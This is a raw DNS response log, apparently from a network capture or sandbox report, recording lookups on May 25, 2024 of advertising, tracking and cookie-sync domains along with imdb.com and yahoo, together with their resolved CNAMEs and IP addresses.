May 25, 2024 00:46:17.608575106 CEST	1.1.1.1	192.168.2.6	0x6d54	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:18.302381992 CEST	1.1.1.1	192.168.2.6	0x8049	No error (0)	s.amazon-adsystem.com		52.46.151.131	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.352303028 CEST	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	secure-gl.imrworldwide.com	d8ghbpr3r4dzt.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.352303028 CEST	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.239.18.108	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.352303028 CEST	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.239.18.127	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.352303028 CEST	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.239.18.21	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.352303028 CEST	1.1.1.1	192.168.2.6	0x9eb6	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.239.18.100	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.352320910 CEST	1.1.1.1	192.168.2.6	0x1e87	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.352320910 CEST	1.1.1.1	192.168.2.6	0x1e87	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.352334023 CEST	1.1.1.1	192.168.2.6	0xe4d7	No error (0)	secure-gl.imrworldwide.com	d8ghbpr3r4dzt.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.352346897 CEST	1.1.1.1	192.168.2.6	0xa6c3	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.352346897 CEST	1.1.1.1	192.168.2.6	0xa6c3	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	match.360yield.com	ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	ice.360yield.com	euw-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		52.215.230.136	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		52.48.59.220	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		34.252.234.181	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		52.209.124.52	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		18.202.142.39	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		54.77.89.252	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		34.253.46.26	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.554903984 CEST	1.1.1.1	192.168.2.6	0xff8d	No error (0)	euw-ice.360yield.com		34.246.138.179	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:20.584476948 CEST	1.1.1.1	192.168.2.6	0x665c	No error (0)	match.360yield.com	ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:20.584476948 CEST	1.1.1.1	192.168.2.6	0x665c	No error (0)	ice.360yield.com	euw-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:21.702249050 CEST	1.1.1.1	192.168.2.6	0x11f9	No error (0)	su.addthis.com	m.addthisedge.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:21.702249050 CEST	1.1.1.1	192.168.2.6	0x11f9	No error (0)	m.addthisedge.com	ds-m.addthisedge.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:21.781083107 CEST	1.1.1.1	192.168.2.6	0x6fac	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:21.781083107 CEST	1.1.1.1	192.168.2.6	0x6fac	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:21.781095982 CEST	1.1.1.1	192.168.2.6	0x55d	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
May 25, 2024 00:46:21.860721111 CEST	1.1.1.1	192.168.2.6	0x3304	No error (0)	su.addthis.com	m.addthisedge.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:21.860721111 CEST	1.1.1.1	192.168.2.6	0x3304	No error (0)	m.addthisedge.com	ds-m.addthisedge.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		149.202.238.104	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		91.134.110.137	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		217.182.178.234	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		178.32.197.57	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		5.196.111.72	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		51.178.195.216	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		5.135.209.105	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		178.32.197.56	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		217.182.178.233	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		5.196.111.73	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		164.132.25.185	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		5.135.209.104	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		164.132.25.184	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		51.178.195.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		91.134.110.136	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175604105 CEST	1.1.1.1	192.168.2.6	0x7be2	No error (0)	rtb-csync-euw2.smartadserver.com		149.202.238.105	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:22.175615072 CEST	1.1.1.1	192.168.2.6	0x6175	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:22.190208912 CEST	1.1.1.1	192.168.2.6	0x2776	No error (0)	s.amazon-adsystem.com		52.46.130.91	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.698468924 CEST	1.1.1.1	192.168.2.6	0xb7b5	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702265024 CEST	1.1.1.1	192.168.2.6	0xd058	No error (0)	www.imdb.com	tp.391b988c0-frontier.imdb.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702265024 CEST	1.1.1.1	192.168.2.6	0xd058	No error (0)	tp.391b988c0-frontier.imdb.com	d2bytcopxu066p.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702265024 CEST	1.1.1.1	192.168.2.6	0xd058	No error (0)	d2bytcopxu066p.cloudfront.net		3.160.214.184	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702276945 CEST	1.1.1.1	192.168.2.6	0xdcb9	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702276945 CEST	1.1.1.1	192.168.2.6	0xdcb9	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702276945 CEST	1.1.1.1	192.168.2.6	0xdcb9	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	amazon.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.197.234.143	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.203.85.115	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.224.10.143	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.146.9.214	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.23.24.6	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.202.57.219	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.206.213.39	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702285051 CEST	1.1.1.1	192.168.2.6	0x43e0	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		34.231.123.13	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702295065 CEST	1.1.1.1	192.168.2.6	0x3aae	No error (0)	capi.connatix.com	capi.connatix.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702302933 CEST	1.1.1.1	192.168.2.6	0xf9a5	No error (0)	pbs.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.702311993 CEST	1.1.1.1	192.168.2.6	0xd92d	No error (0)	usersync.samplicio.us		35.156.5.22	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702311993 CEST	1.1.1.1	192.168.2.6	0xd92d	No error (0)	usersync.samplicio.us		3.65.144.119	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702311993 CEST	1.1.1.1	192.168.2.6	0xd92d	No error (0)	usersync.samplicio.us		35.156.14.28	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.702322006 CEST	1.1.1.1	192.168.2.6	0xee25	No error (0)	ads.samba.tv	pixelapi-east.cs.mysamba.tv		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.705894947 CEST	1.1.1.1	192.168.2.6	0xf71d	No error (0)	www.imdb.com	tp.391b988c0-frontier.imdb.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.705894947 CEST	1.1.1.1	192.168.2.6	0xf71d	No error (0)	tp.391b988c0-frontier.imdb.com	d2bytcopxu066p.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.717158079 CEST	1.1.1.1	192.168.2.6	0x646c	No error (0)	ads.samba.tv	pixelapi-east.cs.mysamba.tv		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.717158079 CEST	1.1.1.1	192.168.2.6	0x646c	No error (0)	pixelapi-east.cs.mysamba.tv		54.196.238.50	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.717158079 CEST	1.1.1.1	192.168.2.6	0x646c	No error (0)	pixelapi-east.cs.mysamba.tv		52.205.105.67	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.744333029 CEST	1.1.1.1	192.168.2.6	0x719	No error (0)	amazon.partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.783480883 CEST	1.1.1.1	192.168.2.6	0x5c23	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync.smartadserver.com	rtb-csync-geo.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		149.202.238.105	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		51.178.195.216	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		178.32.197.57	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		5.196.111.72	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		5.135.209.105	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		51.178.195.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		217.182.178.233	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		5.196.111.73	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		149.202.238.104	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		91.134.110.136	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		164.132.25.184	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		5.135.209.104	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		164.132.25.185	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		217.182.178.234	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		178.32.197.56	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:23.783495903 CEST	1.1.1.1	192.168.2.6	0x35ee	No error (0)	rtb-csync-euw2.smartadserver.com		91.134.110.137	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:24.900135994 CEST	1.1.1.1	192.168.2.6	0x9b64	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:24.900135994 CEST	1.1.1.1	192.168.2.6	0x9b64	No error (0)	tagr-pixel-nginx-odr-euw4.mookie1.com		34.160.236.64	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:24.900177002 CEST	1.1.1.1	192.168.2.6	0xcec6	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		54.242.45.75	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		23.22.63.34	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		34.203.162.166	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		44.217.232.107	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		18.211.112.117	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		44.206.92.83	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		34.231.168.146	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.000349045 CEST	1.1.1.1	192.168.2.6	0xc732	No error (0)	idaas-ext.cph.liveintent.com		52.2.81.235	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.017509937 CEST	1.1.1.1	192.168.2.6	0xac64	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.321635962 CEST	1.1.1.1	192.168.2.6	0xcb05	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.321652889 CEST	1.1.1.1	192.168.2.6	0x9d91	No error (0)	c1.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	bs.serving-sys.com	bs.eyeblaster.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	aka-fr.ads.sizmdx.com	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		18.158.246.105	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		35.157.235.107	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		3.120.56.170	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		18.158.145.202	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		52.58.120.161	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		52.28.77.230	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		3.120.8.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.496056080 CEST	1.1.1.1	192.168.2.6	0xf7c0	No error (0)	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		18.195.201.145	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	cookie-matching.mediarithmics.com	lb.mediarithmics.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.187	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.181	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.180	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.186	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.184	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.183	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.182	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499708891 CEST	1.1.1.1	192.168.2.6	0x6807	No error (0)	lb.mediarithmics.com		54.36.150.185	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499727011 CEST	1.1.1.1	192.168.2.6	0x90b9	No error (0)	bs.serving-sys.com	bs.eyeblaster.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.499727011 CEST	1.1.1.1	192.168.2.6	0x90b9	No error (0)	aka-fr.ads.sizmdx.com	adserver-prod-alb-2056226458.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.185.183	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.200.71	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.193.134	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.87	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.154.234	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.154.65	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.131.164	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499739885 CEST	1.1.1.1	192.168.2.6	0x7878	No error (0)	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		35.214.244.63	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.499752998 CEST	1.1.1.1	192.168.2.6	0x6406	No error (0)	cookie-matching.mediarithmics.com	lb.mediarithmics.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.499764919 CEST	1.1.1.1	192.168.2.6	0x45a5	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:25.533212900 CEST	1.1.1.1	192.168.2.6	0x1e11	No error (0)	usersync.samplicio.us		35.156.5.22	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.533212900 CEST	1.1.1.1	192.168.2.6	0x1e11	No error (0)	usersync.samplicio.us		35.156.14.28	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.533212900 CEST	1.1.1.1	192.168.2.6	0x1e11	No error (0)	usersync.samplicio.us		3.65.144.119	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.654912949 CEST	1.1.1.1	192.168.2.6	0x7838	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.654912949 CEST	1.1.1.1	192.168.2.6	0x7838	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.654927015 CEST	1.1.1.1	192.168.2.6	0x548	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
May 25, 2024 00:46:25.722271919 CEST	1.1.1.1	192.168.2.6	0x159	No error (0)	crb.kargo.com		18.199.24.49	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.722271919 CEST	1.1.1.1	192.168.2.6	0x159	No error (0)	crb.kargo.com		18.193.40.232	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.722271919 CEST	1.1.1.1	192.168.2.6	0x159	No error (0)	crb.kargo.com		18.158.80.108	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:25.955023050 CEST	1.1.1.1	192.168.2.6	0x2c60	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
